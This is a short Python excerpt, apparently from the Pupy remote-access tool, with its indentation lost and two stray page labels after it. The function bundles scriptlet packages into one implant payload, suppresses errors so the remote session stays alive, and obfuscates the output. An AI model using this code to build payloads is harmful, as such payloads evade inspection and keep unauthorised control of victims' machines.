def pack(self):
fullpayload=[]
fullpayload.append("import pupyimporter")
all_packages=[]
for sl in self.scriptlets:
all_packages.extend(sl.dependencies)
all_packages=list(set(all_packages))
for p,n in all_packages:
modules_dic=gen_package_pickled_dic(os.path.join(ROOT, p.replace("/",os.sep)), n)
fullpayload.append("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(modules_dic)))
for sl in self.scriptlets:
if self.debug:
fullpayload.append(sl.generate())
else:
#if not in debug mode, catch all exception to continue an have a session if a scriptlet raises an exception
fullpayload.append(wrap_try_except(sl.generate()))
return compress_encode_obfs('\n'.join(fullpayload))
评论列表
文章目录